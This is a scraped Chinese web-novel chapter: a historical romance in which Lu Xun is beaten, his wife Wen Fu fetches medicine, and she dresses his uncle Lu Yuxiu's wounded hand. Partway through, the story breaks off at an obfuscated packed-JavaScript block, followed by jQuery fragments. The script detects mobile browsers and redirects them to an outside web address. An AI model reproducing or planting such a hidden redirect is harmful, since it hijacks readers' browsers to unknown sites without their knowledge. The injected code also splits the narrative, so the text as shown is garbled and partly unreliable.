默认冷灰
24号文字
方正启体

4. 脸蒙进怀里

作者:吃不吃蛋炒饭本书字数:K更新时间:
    陆洵翻墙回来,已是第二日的事了。


    小厮捏着绳子严防死守在门口,他落地瞥了眼对方,掸掸袖上灰尘,两只手自觉往前一伸:


    “这么大阵仗?”


    怎么,是温家那个躲在被子里哭,咬牙要同他算账?


    他无所谓小厮把他绑紧,只是想姓温的这会是不是在里头等着质问他。


    无非同新婚夜那般,眼泪涟涟,悔恨又软弱的看着他。


    脸上掉水又能如何,东西淌在他手心毫无用处,反而让他笑话。


    陆洵的散漫直到看见屋前两根碗口粗的棍子后才停下,他眼皮跳了跳,问这什么意思。


    家仆抬起棍子:“敢问小公爷昨日在何处安置?”


    “若公子做出不合规矩的举动,属下们就要冒犯了,敢问您昨夜在哪?”


    院中间留着件给人趴着的长椅,成婚前陆洵已经挨过一次打了,现在还来?!


    他知晓温芙会生气,本就是故意惹她的,陆洵就是不知道温芙怎么有本事唤得动棍子。


    去求母亲做主了?


    好你个温芙,以为她胆怯只晓得哭,回来对他哭哭撒撒气,就把婚事扯散了。现在看来这不挺有本事的吗,不用点拨就学会借势拿捏他了。


    后路被小厮堵住,陆洵气死了,分明成婚夜早都跟她说清楚了,是她自己不肯识时务,到头来又是他挨揍!


    他索性不跑,往长椅上一趴:“她管我在那?要打就打。”


    家仆见状点头,一棍子拍下来。


    见了鬼了,这人怎么打得这么重?她把家仆也收买了?


    陆洵把脸埋在手臂下,不想让人瞧见他呲牙咧嘴的,心里忿忿。


    打就打,他也没做什么,就去林家门口晃悠两下,吓唬吓唬温芙而已。


    林家人刚下大牢,大理寺的闲人见门口有人,把他一并薅过去待了半晚,睡下大牢怎么了,她管自己睡哪?在这里拿乔作威的。


    几板子越打越重,把陆洵火气也打出来,倒是不跑,光冷嘲:“我爱去哪去哪。她以为这样就有用了?打,你尽管再用力些,看母亲能替她管几次。”


    “今日打了我明日照样去,我下次还去!”


    玉成听得跺脚,示意小公爷快别说了。


    新来的家仆犹豫,竟听从他的话把棍子甩得愈发猎猎生风,看得玉成欲言又止,又怕自己也跟着挨打了,窝窝囊囊只能在后面摆手:“别打了,别打了。”


    闷声几板子下来,挨惯打的陆洵眼前都开始发黑,挨到后面额间生汗,只能黑着眼喘气。


    很快意识渐昏沉,连耳边嗡鸣声都渐弱下去,真要被打死在这,直到一声惊呼打破死寂。


    陆洵尚来不及抬眼,鼻尖已晃过一阵软风,有人小心捧起他的脸,呼吸比他还抖,惊惶问:“怎么会,怎么打成这样了?”


    ......装什么?不就是她让人打的么。


    陆洵欲嘲讽这女人惺惺作态,然而浅又急的气息更快落到他脸上,仿若湿润的纱,蒙得他竟开不了口。


    “陆洵?陆洵.....”


    她只知道着急,头埋得更深,呼吸快渡到他唇间,陆洵不由得僵硬屏息,还没让她走开,得不到回音的温芙哆嗦伸出手指,探他鼻息。


    陆洵差些被她气晕,硬生生睁开眼来:“我没......”


    对视的瞬间陆洵猛地怔住。


    她靠得太近,担忧神情全然将他笼住,整个人几乎挤在他脸上,叫他鼻尖快陷进去。


    锁骨往下,弧度微妙,挡住陆洵视线。于是鼻尖全是温芙的气息,柔软得人头晕。


    这是什么花招,是要故意闷死他,陆洵晕头转向,脑中渐渐只剩一个想法,女人的臂弯怎么是香的?


    温芙见他没动静更急,用力托住他,陆洵脸便全然蒙进去了。


    他肩头颤了瞬,温芙只觉得他人有点进气不出气了,脸和耳尖也红得像要死了,惶惶然站起来:“我去寻李大夫来。”


    她走得急,没看见被骤然放下的陆洵表情错愕又憋屈。


    长廊迂回,温芙顾忌陆洵身体,走着走着便小跑起来,好不容易寻到位置推门,唤:“李大夫,烦请——”


    屋中竖着道黑沉沉影子,冷不丁望来。


    温芙魂都差些吓飞,后退一步。


    “是我。”黄昏吞没他的脸,只余下一双眼叫人看着眼熟,“老爷子身体不适,李大夫不在。”


    温芙勉强定定心神,认出这是陆家小叔,不是什么鬼怪。


    不过比起鬼怪也没好到哪去,陆家长辈那么多,她格外怕这位小叔。


    兴许是成婚时不伦不类的乌龙,也兴许是被他当面质问子嗣的问题,温芙见他就同耗子撞上猫,羞耻与道德的压制总在对视时压上来,叫她眼睛发烫,横竖都是不自在。


    眼下就她二人,刚刚还被道影子吓住,温芙尴尬极了,踌躇半晌干巴巴解释:“小叔。李大夫不在,那我先拿点药回去就好。”


    站在那的男人没动。


    温芙松了口气,虽不知陆聿修为何在这,但跟她关系也不大,井水不犯河水,还是快些找了药给陆洵要紧。


    她为人胆怯,唤人时像过年被提着后颈的小辈,有目标后做事却很利索,格子在她手掌下翻飞,几息间就找过两排柜子。


    陆聿修始终打量着她。


    听闻她与陆洵同年,便都是十七十八的年纪,碎发跑得乱蓬蓬,交错着贴到面颊上显得更小。


    气还没喘匀,倒是很顾忌他,换气也光躲在袖子后面小口喘。


    后颈有点汗,几根发丝轻贴着上面,陆聿修不知道一截脖子也可以让人心里觉得小巧。


    她找什么药。


    李大夫给她的东西,那日已告诉过她可以拒绝,陆聿修沉沉扫过去,见她手背上有抹开的点血迹,不难猜到是陆洵又挨了打,眉眼静了几分。


    陆家不会让陆洵真的怎么样,何必这般焦急。


    何况新婚丢下她的人也值得这般心软?


    瞧她这样的神色,也许还在庆幸昨日被陆夫人逼到此处,见李大夫拿出过什么药,现在找东西才这么顺利。


    这般软性子,不会因好心而叫人善待,反而只会令人觉得好招惹,吞吃更多。


    当然,温芙陆洵如何是小辈间的私事,陆聿修无意插手二人私事。


    陆聿修不欲多看了,只是余光她颈间红痕时停了停。


    不是多重的痕迹,只是在这个位置,不免让人多想。


    是陆洵推了她?


    沉沉目光悬停在头顶,温芙只觉被拎起衣领,心头直打鼓。


    不知为何小叔要这样看她,温芙稍作回想,想起心急时陆洵靠在自己肩头,怕是姿势失了体面,悄悄用手理了理衣领。


    哦,陆洵靠近她弄的。


    这于新妇而言再正常不过,这二人是夫妻,即使在陆聿修眼里不过半大的孩子,也是夫妻。


    陆洵用手,还是用脸?


    窗扉干瘪吱呀声,陆聿修似被这倒痕迹提醒,温芙愿意为陆洵焦急,也有心要子嗣,那么依照她的意愿,这点痕迹更只是开始。


    这很正常,她大抵她会像那日主动挤进他手里一般,挤到陆洵身边。


    都很正常,那么为何只有他不正常,被温芙碰过的地方不正常?


    审视的目光越来越重,温芙实在受不了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543445|204017||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颤巍巍转过头来,问:“您是也要找东西吗?”


    陆聿修无言,两只眼黑沉沉的,比进来时还吓人,温芙目光往下,看间陆聿修掌心洇出血的伤口,顿悟了些。


    难怪小叔会在李大夫这,又忽的神情不快,应当本是来看小伤,现在伤口崩开又见不到人影,有些烦躁。


    他这样的人不同于陆洵,怎么会有这么大的伤口呢。


    出于好意,温芙问:“您的伤口看着很疼,我已经找到药膏,您也先用一份?”


    陆聿修沉默两秒,开口:“是有点疼。”


    “嗯......啊?”


    “那您现在涂?”


    陆聿修又不讲话,不知怎的,她在陆聿修面前总是心慌,那两只眼一盯过来,她就跟老夫人逮住似的慌了手脚,舌头不是舌头,眼睛不是眼睛的。


    温芙把这不对付的感觉归结为长辈气势太盛,这会作为小辈,也只有怯弱举手:“或是我帮您?”


    话语很虚,似笃定陆聿修拒绝了她好顺理成章的走。


    陆聿修静了瞬,昏黄余晖铺在他半边肩头,他眼帘垂下:“可以。”


    温芙就这般稀里糊涂将自己送到陆聿修面前,急切给陆洵找到的药膏被打开,涂抹到另一人手掌。


    眼下没有别的东西,温芙只有用指头沾上膏体涂抹。


    宽大手掌上,她一根指头细伶伶的,指甲修得很短。抹过去时的,那股不受控的痒意猛地从掌心窜过四肢,犹觉不够。


    涂着涂着陆聿修的手掌便合拢压住她,温芙只有停下:“您手再打开点吧。”


    陆聿修说抱歉,将手掌重新摊开。


    他克制着不再动,仅以目光打量她细细的,能一手掐住的脖颈。


    陆聿修说:“你做这个很熟练。”


    陆聿修的伤比看起来要深,似是刃器剖开,温芙抽空嗯了声,涂完膏药后还下意识吹了吹伤口。


    反应过来自己做了什么,温芙讪讪松开:“对不住.....从前朋友总是受伤,给他包扎多了就学会了。”


    陆聿修喉头动了动,克制着没越界多问。


    他手叫温芙捧着,她无名指指节上也有颗小痣。


    陆聿修听闻过有类人因皮肤白、薄,比常人更容易生出痣来,她似乎就是这般,不过痣都藏得小。


    那么,除却指头与脖颈,还有吗?


    也如这般需要人找吗。


    可惜没有时间再问,她自觉擦完了结这桩事,一口气再没留地走了。


    木砚送李大夫回来,正说:“烦请您开口我们大人的伤口......”


    陆聿修将手一收:“不必再看了。”


    他已知道为何。


    *


    陆洵硬邦邦板着脸,横眉竖眼靠在长椅上等。


    玉成要扶他回屋,陆洵也不肯。


    人呢。


    他又不是没被打掉半条命过,温芙大惊小怪乱来一通,到现在还不回来。


    被打成这副狼狈样陆洵无所谓,他只是烦躁温芙做完手脚,她一走,平日挨打趴惯了的椅子,竟硬得叫人无法忍受起来。


    ......都是因为她莫名其妙闷自己那一下!


    先揍掉他半条命,再趁虚而入,居心叵测!


    烦得很,陆洵左等右等,好不容易等着温芙来了,连忙把脸拉下来:“你去哪了?磨磨蹭蹭,我等你这么久你就不能快点?”


    温芙为这语气愣住,陆洵在看见她手里药瓶后表情不太自在,然而还没等她解释,那面色又落雨似的变了,头凑过来在她手心嗅了又嗅,冷冷问:


    “手上什么味道。”


    “这不是给我涂的吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)